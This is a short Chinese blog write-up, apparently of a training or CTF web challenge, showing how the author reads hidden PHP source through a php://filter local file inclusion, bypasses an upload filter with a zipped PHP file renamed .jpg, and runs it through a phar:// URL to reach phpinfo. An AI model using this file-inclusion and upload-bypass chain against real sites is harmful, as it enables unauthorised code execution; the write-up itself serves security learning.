记一次简单的GetShell案例

Posted 不不不不不好听

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次简单的GetShell案例相关的知识,希望对你有一定的参考价值。

案例链接:

http://202.112.51.184:8007/

打开链接,发现分了多个页面:

 

 

挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个页面后出现“?page=xxx"字样,查看源代码发现还有隐藏的php文件:

于是输入:

http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload

得到一串base64编码:

在线解密后得到网页隐藏源码:

 1 <html lang="zh-CN">
 2   <head>
 3     <meta charset="utf-8">
 4 <?php
 5 $error=$_FILES[\'pic\'][\'error\'];
 6 $tmpName=$_FILES[\'pic\'][\'tmp_name\'];
 7 $name=$_FILES[\'pic\'][\'name\'];
 8 $size=$_FILES[\'pic\'][\'size\'];
 9 $type=mime_content_type($tmpName);
10 try{
11     if($name!=="")
12     {
13         $name1=substr($name,-4);
14         if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==\'.zip\'))
15         {
16             echo "hehe";
17             echo "<script language=javascript>alert(\'上传照片只能是JPG或者GIF!\');history.go(-1)</script>";
18             exit;
19         }
20         if($type!=="image/jpeg"&&$type!=="image/gif")
21         {
22             echo mime_content_type($tmpName);
23             echo "<script language=javascript>alert(\'上传照片只能是JPG或者GIF!\');history.go(-1)</script>";
24             exit;
25         }
26         if(is_uploaded_file($tmpName)){
27             $time=time();
28             $rootpath=\'uploads/\'.$time.$name1;
29             if(!move_uploaded_file($tmpName,$rootpath)){
30             echo "<script language=\'JavaScript\'>alert(\'文件移动失败!\');window.location=\'index.php?page=submit\'</script>";
31             exit;
32         }
33     }
34     echo "图片ID:".$time;
35     }
36 }
37 catch(Exception $e)
38 {
39     echo "ERROR";
40 }
41 //
42  ?>
43  </html>

从第十四行可以看出其实也支持ZIP文件,想到可以从这里下手

在本地建一个PHP文件,意在使网站对上传文件解析后执行这段代码,即打开phpinfo界面:

<?php phpinfo();?>

将其压缩成ZIP文件后也可将格式改为jpg上传,可以得到图片ID:

然后记住图片ID,在view页搜索后跳转出现以下页面:

这时我们的PHP代码已经执行,我们就可以输入以下网址得到我们需要的phpinfo页面,即GetShell了:

 

http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2

 

以上是关于记一次简单的GetShell案例的主要内容,如果未能解决你的问题,请参考以下文章

实战-记一次edu证书站getshell

记一次有手就行的getshell

记一次有手就行的getshell

记一次峰回路转的注入

记一次服务器生成Excel在客户端下载的案例

记一次Chocolatey造成的开发环境失误